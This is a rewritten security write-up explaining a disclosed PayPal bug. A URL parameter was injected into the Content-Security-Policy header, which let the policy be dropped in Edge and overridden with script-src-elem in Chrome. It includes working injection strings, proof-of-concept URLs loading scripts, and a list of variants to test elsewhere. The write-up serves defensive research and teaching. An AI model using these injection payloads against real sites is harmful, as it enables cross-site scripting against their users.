Bypassing CSP with policy injection
PayPal placed a GET parameter inside the report-uri directive of its CSP, allowing an attacker to inject additional directives. In Edge, injecting a semicolon and underscore caused the entire policy to be dropped; in Chrome, injecting script-src-elem * overrode the script-src directive, enabling script execution.
Published on portswigger.net
Whilst testing PayPal looking for ways to bypass CSP and mixed content protection I found an interesting behaviour. PayPal was putting a GET parameter called token inside the report-uri directive of their CSP.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
PayPal serves its onboarding flow from https://www.paypal.com/webapps/xoonboarding, and the application sends a Content-Security-Policy header with every response. That policy is built partly from a GET parameter called token, which the application places inside the report-uri directive so that CSP violation reports carry the token back to the logging endpoint. The report-uri directive tells the browser where to POST violation reports; the token is there so the server can correlate a report with the request that produced it.
Gareth Heyes was testing PayPal for ways to bypass CSP and mixed content protection when he noticed this behaviour. The interesting property is that a user-controlled value is concatenated into a security header. If the value can contain CSP syntax, the attacker is not merely reflected into the page, they are reflected into the policy itself.
Setup
The researcher fuzzed Microsoft Edge to find the shortest input that would break the policy, and used two public proof-of-concept pages hosted on portswigger-labs.net to demonstrate the result in Edge and in Chrome. No accounts, roles or versions are described in the report.
Finding it
The observation was simple: PayPal was putting the GET parameter token inside the report-uri directive of the CSP. Changing the token therefore changed the policy. Most browsers skip over invalid CSP directives and carry on with the rest of the policy, so a malformed token would normally be harmless. Edge behaves differently: when it encounters invalid syntax in a policy, it drops the entire policy. That turns any injection into a full CSP bypass, because there is no policy left to enforce.
Exploitation
Step 1: Inject a minimal syntax break into the policy
The researcher fuzzed Edge to find ways of breaking the CSP with as few characters as possible, and found that a semi-colon followed by an underscore was enough. Loading the following URL:
https://www.paypal.com/webapps/xoonboarding?values=etc&[redacted]
returned this CSP header:
Content-Security-Policy: default-src 'self' https://*.paypal.com https://*.paypal.com:* https://*.paypalobjects.com 'unsafe-eval';connect-src 'self' https://*.paypal.com https://nexus.ensighten.com https://*.paypalobjects.com;frame-src 'self' https://*.paypal.com https://*.paypalobjects.com https://*.cardinalcommerce.com;script-src https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline' 'unsafe-eval';style-src 'self' https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline';img-src https: data:;object-src 'none'; report-uri /webapps/xoonboarding/api/log/csp?[redacted]
The token value SOMETOKEN;_ appears inside the report-uri path in the returned header. The semi-colon terminates the report-uri directive and the underscore begins a new, invalid directive. Edge sees the invalid syntax and drops the entire policy, so none of the restrictions in the header apply.
Step 2: Demonstrate the bypass in Edge
A proof of concept was published at:
http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1%29%3C/script%3E
Here x carries the injection ;_ and y carries the URL-encoded script <script>alert(1)</script>. With the policy dropped, the injected script executes.
Step 3: Adapt the attack to Chrome
Hardly anyone uses Edge, so the researcher turned to Chrome. Chrome ignores invalid directives, and the injection lands at the end of the policy, so a plain syntax break is not enough: the attacker needs a way to override a directive that has already been set. The recently proposed script-src-elem directive provides exactly that. It controls only script blocks, and was created so that event handlers can be allowed while script elements are blocked, for example:
Content-Security-Policy: script-src-elem 'none'; script-src-attr 'unsafe-inline'
<script>alert("This will be blocked")</script><a href="#" onclick="alert('This will be allowed')">test</a>
The key property is that script-src-elem overwrites existing script-src directives. With policy injection, that means an attacker can replace the site's script policy with one of their own. The Chrome proof of concept is:
http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
The x parameter carries the injection ;script-src-elem *. The y parameter carries a URL-encoded external script element.
Root cause
The application puts the user-controlled token GET parameter inside the report-uri directive of the Content-Security-Policy header. The browser parses the injected text as policy syntax.
Two browser behaviours turn this into a bypass. Edge drops the whole policy on invalid syntax, so a two-character injection is enough. Chrome ignores invalid directives but lets a later script-src-elem override an earlier script-src, so an injected directive at the end of the policy can relax the script restrictions. The existing CSP was therefore only as strong as the integrity of the header it was delivered in.
Impact
Injecting directives into the CSP removes the policy entirely in Edge and overrides the script policy with script-src-elem in Chrome. In both cases the result is script execution that the CSP was meant to prevent, which is a bypass of a mitigation rather than a standalone vulnerability.
PayPal awarded $900 for the bug, which the researcher considered quite generous for a mitigation bypass.
Fix
The report does not state what PayPal changed.
Variants to test
- Other reflected CSP directives. Look for any request parameter that appears in a CSP header, not just
report-uri. A positive result is a response whose CSP changes when you alter the parameter. - Minimal syntax breakers per browser. Fuzz each target browser with short inputs such as
;_and observe whether the policy is dropped. A positive result is a response where the browser enforces none of the original directives. - Directive override in Chromium-based browsers. Inject
;script-src-elem *(or a narrower source list) at the end of the policy and try to load an external script. A positive result is the script executing despite the originalscript-src. - Related override directives. Test whether other directives that supersede broader ones can be injected the same way. A positive result is a policy where the injected directive takes precedence over the site's own.
- Header-building parameters elsewhere. Check other security headers that embed request data, such as report endpoints or nonces. A positive result is any header whose value you can reshape through a parameter.
What happened, in plain words
PayPal serves pages under https://www.paypal.com/webapps/xoonboarding. Every time a browser asks PayPal for one of those pages, PayPal sends back not just the page but also a set of instructions in the response, called a header. One of those headers is the Content-Security-Policy, usually shortened to CSP.
Think of CSP as a list of house rules that PayPal hands to your browser: which places the page is allowed to load scripts from, which places it may load images from, and so on. If a page tries to load a script from somewhere the rules do not allow, the browser refuses. This is a safety net against a common attack called cross-site scripting, where an attacker manages to get their own code running inside someone else's page.
The interesting part is how PayPal built that rule list. Part of it came from a value in the web address itself, a GET parameter called token. A GET parameter is the bit of a web address after a question mark, like the ?search=cats you see when you search for something. The application took whatever was in token and pasted it into the CSP header, inside a part called report-uri.
report-uri is the rule that tells the browser where to send a note when the page breaks one of the CSP rules. The token is included there in the report-uri address.
Gareth Heyes was testing PayPal to see whether he could get around CSP and a related protection called mixed content protection. Mixed content protection is what stops a secure page from quietly loading insecure content. While doing that, he noticed that a value he controlled was being pasted straight into a security header. That is the key observation: normally an attacker tries to get their text into the visible page, but here the text goes into the rules that govern the page. If you can write into the rules, you may be able to change them.
Most browsers are forgiving about CSP rules they do not understand: they skip the bad rule and keep enforcing the rest. Microsoft Edge at the time behaved differently. If it found invalid syntax anywhere in the policy, it threw the whole policy away. That means a tiny piece of bad syntax could switch off every protection in the header at once.

Gareth fuzzed Edge to find the shortest possible input that would break the policy. Fuzzing means trying lots of small variations automatically and watching which one produces a change. He found that a semi-colon followed by an underscore was enough. A semi-colon in CSP separates one rule from the next, so adding one starts a new rule, and the underscore makes that new rule invalid. Edge saw the invalid rule and dropped everything.
He loaded this web address:
https://www.paypal.com/webapps/xoonboarding?values=etc&[redacted]
and PayPal sent back this CSP header:
Content-Security-Policy: default-src 'self' https://*.paypal.com https://*.paypal.com:* https://*.paypalobjects.com 'unsafe-eval';connect-src 'self' https://*.paypal.com https://nexus.ensighten.com https://*.paypalobjects.com;frame-src 'self' https://*.paypal.com https://*.paypalobjects.com https://*.cardinalcommerce.com;script-src https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline' 'unsafe-eval';style-src 'self' https://*.paypal.com https://*.paypalobjects.com 'unsafe-inline';img-src https: data:;object-src 'none'; report-uri /webapps/xoonboarding/api/log/csp?[redacted]
Reading that header in plain words: default-src sets the fallback for anything not covered later; connect-src says where the page may make network connections; frame-src says which pages may be embedded in frames; script-src says where scripts may come from; style-src says where stylesheets may come from; img-src says where images may come from; object-src 'none' forbids plugin-style objects entirely; and report-uri says where to send violation reports. At the very end you can see the token value SOMETOKEN;_ sitting inside the report-uri address. The semi-colon ends that rule, and the underscore starts a new rule that makes no sense. Edge saw that and discarded the whole policy, so none of the restrictions above applied any more.
To show it working, he published a small proof of concept, a page built only to demonstrate the problem:
http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1%29%3C/script%3E
Here the x parameter carries the injection ;_, and the y parameter carries a URL-encoded script. URL encoding is how special characters travel safely inside a web address: %3C is <, %3E is >, and %29 is ). Decoded, y is <script>alert(1)</script>, a tiny script that pops up an alert box. With the policy gone, that script ran.

Hardly anyone used Edge, so he turned to Chrome. Chrome ignores invalid rules and keeps the rest, and the injection lands at the very end of the policy, so simply breaking the syntax would not help. He needed a way to override a rule that had already been set earlier in the header. He found a then recently proposed rule called script-src-elem. It controls only script blocks, and it was designed so a site could allow inline event handlers while blocking script elements, for example:
Content-Security-Policy: script-src-elem 'none'; script-src-attr 'unsafe-inline'
<script>alert("This will be blocked")</script><a href="#" onclick="alert('This will be allowed')">test</a>
In the first line, script-src-elem 'none' says no script blocks at all, while script-src-attr 'unsafe-inline' says inline event handlers are fine. In the second line, the <script> block is blocked, but the onclick handler on the link is allowed. The important property for an attacker is that script-src-elem overwrites any existing script-src rule. So if you can inject policy text, you can replace the site's script rules with your own. The Chrome proof of concept is:
http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
The x parameter carries the injection ;script-src-elem *. The y parameter carries a URL-encoded external script element.
PayPal awarded $900 for the bug, which the researcher thought was quite generous for a bypass of a protection rather than a direct break-in.
Why it worked
The application put the user-controlled token value into the Content-Security-Policy header, inside the report-uri rule. The browser reads the injected text as policy instructions.
Two browser behaviours turn this into a bypass. Edge throws away the whole policy when it meets invalid syntax, so two characters are enough. Chrome ignores invalid rules but lets a later script-src-elem override an earlier script-src, so an injected rule at the end of the policy can loosen the script restrictions. The protection was only as strong as the integrity of the header carrying it.
What it means
Injecting rules into the CSP removes the policy entirely in Edge and replaces the script rules with script-src-elem in Chrome. In Edge, the policy disappears entirely; in Chrome, the script rules can be replaced with script-src-elem. In both cases the result is script running that the CSP was meant to stop. This is a bypass of a protection, not a standalone break-in.
How to fix it
The report does not say what PayPal changed.
Things to try elsewhere
- Other reflected CSP rules. Look for any request parameter that shows up in a CSP header, not just
report-uri. A positive result is a response whose CSP changes when you alter the parameter. - Shortest syntax breakers per browser. Fuzz each target browser with short inputs such as
;_and watch whether the policy is dropped. A positive result is a response where the browser enforces none of the original rules. - Rule override in Chromium-based browsers. Inject
;script-src-elem *(or a narrower list of sources) at the end of the policy and try to load an external script. A positive result is the script running despite the originalscript-src. - Related override rules. Test whether other rules that take precedence over broader ones can be injected the same way. A positive result is a policy where the injected rule wins over the site's own.
- Other header-building parameters. Check other security headers that embed request data, such as report endpoints or nonces. A positive result is any header whose value you can reshape through a parameter.
Glossary
- CSP (Content-Security-Policy): a header a website sends to tell the browser which sources of scripts, images, styles and so on are allowed.
- Header: extra information a web server sends alongside a page, separate from the page content itself.
- GET parameter: a value in a web address after a question mark, such as
?token=abc. - Token: here, a value passed in the web address and used to match a report back to the request that caused it.
report-uri: the CSP rule that says where the browser should send a note when a page breaks a CSP rule.- Directive: one rule inside a CSP policy, such as
script-srcorimg-src. script-src: the CSP rule controlling where scripts may be loaded from.script-src-elem: a CSP rule controlling only script blocks; it overrides an earlierscript-src.script-src-attr: a CSP rule controlling inline event handlers such asonclick.default-src: the fallback CSP rule for anything not covered by a more specific rule.connect-src: the CSP rule controlling where the page may make network connections.frame-src: the CSP rule controlling which pages may be embedded in frames.style-src: the CSP rule controlling where stylesheets may come from.img-src: the CSP rule controlling where images may come from.object-src: the CSP rule controlling plugin-style objects.'self': a CSP keyword meaning the site's own origin.'unsafe-inline': a CSP keyword allowing inline scripts or styles written directly in the page.'unsafe-eval': a CSP keyword allowing code to be evaluated from strings at runtime.'none': a CSP keyword meaning nothing is allowed.- Cross-site scripting (XSS): an attack where an attacker gets their own code to run inside someone else's web page.
- Mixed content protection: a browser protection that stops a secure page from loading insecure content.
- Fuzzing: trying many small variations of an input automatically and watching which one changes the behaviour.
- URL encoding: how special characters are written safely inside a web address, for example
%3Cfor<. - Proof of concept (PoC): a small page or script built only to demonstrate that a problem is real.
- Mitigation bypass: getting around a protection without necessarily breaking the underlying application.
- Chromium: the browser engine behind Chrome and several other browsers.